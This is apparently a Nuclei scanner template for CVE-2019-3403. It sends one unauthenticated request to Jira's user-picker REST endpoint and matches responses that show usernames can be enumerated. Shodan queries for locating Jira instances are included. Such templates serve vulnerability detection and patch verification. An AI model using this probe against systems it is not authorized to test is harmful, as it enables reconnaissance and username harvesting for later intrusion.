id: CVE-2019-3403

info:
  name: Jira - Incorrect Authorization
  author: Ganofins
  severity: medium
  description: Jira before version 7.13.3, from version 8.0.0 before version 8.0.4, and from version 8.1.0 before version 8.1.1 is susceptible to an incorrect authorization check in the /rest/api/2/user/picker rest resource, enabling an attacker to enumerate usernames and gain improper access.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive data, potential data breaches, and unauthorized actions within the Jira system.
  remediation: |
    Apply the latest security patches and updates provided by Atlassian to fix the vulnerability and ensure proper authorization controls are in place.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69242
    - https://nvd.nist.gov/vuln/detail/CVE-2019-3403
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/rezasarvani/JiraVulChecker
    - https://github.com/und3sc0n0c1d0/UserEnumJira
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-3403
    cwe-id: CWE-863
    epss-score: 0.828
    epss-percentile: 0.9926
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
      - http.component:"atlassian confluence"
      - cpe:"cpe:2.3:a:atlassian:jira"
  tags: cve,cve2019,atlassian,jira,enumeration,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/api/2/user/picker?query="

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "application/json")'
          - 'contains_any(body, "\"users\":","\"usuario\":")'
          - 'contains_all(body, "\"total\":", "\"header\":")'
          - 'status_code == 200 || status_code == 404'
        condition: and

      - type: word
        part: body
        words:
          - 'total":0'
        negative: true
# digest: 490a0046304402200d7492836ed1898c878709c290973b7d411ef63e983acdb5b27af056561006fc02204703e6c477ae3237ecbb76f88c21f0efe097dd45e5b3bce1c048db0c5874c1ed:922c64590222798bb761d5b6d8e72950